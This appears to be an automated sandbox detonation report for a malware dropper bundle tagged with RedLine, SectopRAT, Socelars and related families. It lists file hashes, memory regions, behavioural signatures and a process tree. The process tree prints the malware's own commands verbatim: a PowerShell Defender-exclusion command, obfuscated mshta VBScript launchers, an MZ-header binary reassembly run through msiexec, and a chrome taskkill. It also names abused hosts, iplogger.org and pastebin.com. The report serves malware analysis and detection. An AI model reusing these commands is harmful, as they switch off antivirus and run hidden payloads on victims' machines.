memory/3012-74-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/3012-72-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/3012-70-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/3012-69-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/3036-127-0x00000000000A0000-0x0000000000112000-memory.dmp
memory/1496-128-0x0000000000820000-0x0000000000838000-memory.dmp
memory/560-136-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1152-139-0x0000000000070000-0x0000000000078000-memory.dmp
memory/560-155-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1308-156-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1004-154-0x0000000000400000-0x00000000004BD000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-7E22Q.tmp\Fri20d5530575e8aa3ed.tmp
| MD5 | 9303156631ee2436db23827e27337be4 |
| SHA1 | 018e0d5b6ccf7000e36af30cebeb8adc5667e5fa |
| SHA256 | bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4 |
| SHA512 | 9fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f |
C:\Users\Admin\AppData\Local\Temp\is-2GRHO.tmp\idp.dll
| MD5 | b37377d34c8262a90ff95a9a92b65ed8 |
| SHA1 | faeef415bd0bc2a08cf9fe1e987007bf28e7218d |
| SHA256 | e5a0ad2e37dde043a0dd4ad7634961ff3f0d70e87d2db49761eb4c1f468bb02f |
| SHA512 | 69d8da5b45d9b4b996d32328d3402fa37a3d710564d47c474bf9e15c1e45bc15b2858dbab446e6baec0c099d99007ff1099e9c4e66cfd1597f28c420bb50fdcc |
C:\Users\Admin\AppData\Local\Temp\is-2GRHO.tmp\_isetup\_shfoldr.dll
| MD5 | 92dc6ef532fbb4a5c3201469a5b5eb63 |
| SHA1 | 3e89ff837147c16b4e41c30d6c796374e0b8e62c |
| SHA256 | 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87 |
| SHA512 | 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3 |
memory/1496-168-0x0000000000320000-0x0000000000326000-memory.dmp
memory/696-169-0x00000000017D0000-0x00000000017F4000-memory.dmp
memory/696-176-0x00000000033F0000-0x0000000003412000-memory.dmp
memory/3012-185-0x0000000000400000-0x000000000051C000-memory.dmp
memory/3012-186-0x0000000064940000-0x0000000064959000-memory.dmp
memory/3012-187-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/3012-189-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/3012-190-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/3012-188-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1744-219-0x0000000001E70000-0x0000000001FBC000-memory.dmp
memory/696-223-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/1352-222-0x0000000000400000-0x00000000016BC000-memory.dmp
memory/2828-224-0x0000000002280000-0x00000000024A9000-memory.dmp
memory/2332-236-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2332-235-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2332-234-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2332-233-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2332-231-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2332-229-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2332-227-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2332-225-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2280-237-0x0000000000400000-0x00000000016D5000-memory.dmp
memory/3012-250-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/3012-249-0x0000000064940000-0x0000000064959000-memory.dmp
memory/3012-248-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/3012-247-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/3012-245-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/3012-241-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2056-253-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/1308-252-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1744-257-0x0000000001E70000-0x0000000001FBC000-memory.dmp
memory/2828-259-0x0000000002280000-0x00000000024A9000-memory.dmp
memory/1744-260-0x0000000002800000-0x00000000028A5000-memory.dmp
memory/1744-264-0x00000000028B0000-0x0000000002942000-memory.dmp
memory/1744-261-0x00000000028B0000-0x0000000002942000-memory.dmp
memory/1744-265-0x00000000028B0000-0x0000000002942000-memory.dmp
memory/2280-266-0x0000000000400000-0x00000000016D5000-memory.dmp
memory/1868-267-0x0000000001F20000-0x000000000206C000-memory.dmp
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-24 19:57
Reported
2024-11-24 19:59
Platform
win10v2004-20241007-en
Max time kernel
7s
Max time network
124s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\is-JOMCS.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri208f5f140853548.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ba391d4469.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-JOMCS.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Enumerates physical storage devices
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ee0a6fe195bd09.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri208f5f140853548.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20109b9e174d0fc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20fbc038b0b02ea.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20d5530575e8aa3ed.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20d5530575e8aa3ed.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri2002ce5f91c761.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri209f6924af86d795.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-JOMCS.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri2050293ea5.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ba391d4469.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20c0c46650eeb2a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-1JGGU.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri2060ea1c5d8fae8aa.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri209d5bfbb2.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20109b9e174d0fc.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20ee0a6fe195bd09.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri200ae385720d3.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2050293ea5.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209f6924af86d795.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20ba391d4469.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20d5530575e8aa3ed.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2002ce5f91c761.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20c0c46650eeb2a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209c4b463b.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri208f5f140853548.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20fbc038b0b02ea.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20e095683c2b3a0c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209d5bfbb2.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2060ea1c5d8fae8aa.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1496 -ip 1496
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20109b9e174d0fc.exe
Fri20109b9e174d0fc.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ba391d4469.exe
Fri20ba391d4469.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20e095683c2b3a0c.exe
Fri20e095683c2b3a0c.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20fbc038b0b02ea.exe
Fri20fbc038b0b02ea.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri209d5bfbb2.exe
Fri209d5bfbb2.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri2060ea1c5d8fae8aa.exe
Fri2060ea1c5d8fae8aa.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ee0a6fe195bd09.exe
Fri20ee0a6fe195bd09.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri208f5f140853548.exe
Fri208f5f140853548.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20c0c46650eeb2a.exe
Fri20c0c46650eeb2a.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri209f6924af86d795.exe
Fri209f6924af86d795.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20d5530575e8aa3ed.exe
Fri20d5530575e8aa3ed.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri2002ce5f91c761.exe
Fri2002ce5f91c761.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri2050293ea5.exe
Fri2050293ea5.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1496 -s 612
C:\Users\Admin\AppData\Local\Temp\is-JOMCS.tmp\Fri20d5530575e8aa3ed.tmp
"C:\Users\Admin\AppData\Local\Temp\is-JOMCS.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$110040,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20d5530575e8aa3ed.exe"
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri200ae385720d3.exe
Fri200ae385720d3.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20fbc038b0b02ea.exe
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20fbc038b0b02ea.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell").RUN( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ba391d4469.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF """" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ba391d4469.exe"" ) do taskkill /f /IM ""%~NxA"" ", 0, true ))
C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20d5530575e8aa3ed.exe
"C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20d5530575e8aa3ed.exe" /SILENT
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri208f5f140853548.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri208f5f140853548.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Users\Admin\AppData\Local\Temp\is-1JGGU.tmp\Fri20d5530575e8aa3ed.tmp
"C:\Users\Admin\AppData\Local\Temp\is-1JGGU.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$201EE,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20d5530575e8aa3ed.exe" /SILENT
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri208f5f140853548.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri208f5f140853548.exe") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ba391d4469.exe" > EUUIXyGKjuAj.exe&&STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 &IF ""=="" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4EC41397\Fri20ba391d4469.exe" ) do taskkill /f /IM "%~NxA"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4120 -ip 4120
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2432 -ip 2432
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 620
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2432 -s 360
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe
EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /IM "Fri20ba391d4469.exe"
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Fri208f5f140853548.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4120 -ip 4120
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell").RUN( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF ""/pkrs9YKWRf3sVprfXBE2vA2Yg3 "" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" ) do taskkill /f /IM ""%~NxA"" ", 0, true ))
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 656
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" > EUUIXyGKjuAj.exe&&STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 &IF "/pkrs9YKWRf3sVprfXBE2vA2Yg3 "=="" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" ) do taskkill /f /IM "%~NxA"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4120 -ip 4120
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 636
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff87482cc40,0x7ff87482cc4c,0x7ff87482cc58
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCript:CloSE ( CreAtEoBjEct( "WscRiPt.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /R eCHo | sET /P = ""MZ"" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W +pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT +lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ " , 0 , tRUE ) )
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4120 -ip 4120
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 780
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R eCHo | sET /P = "MZ" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W +pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT+lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2248,i,9582787456099350266,10215527538926888513,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2244 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
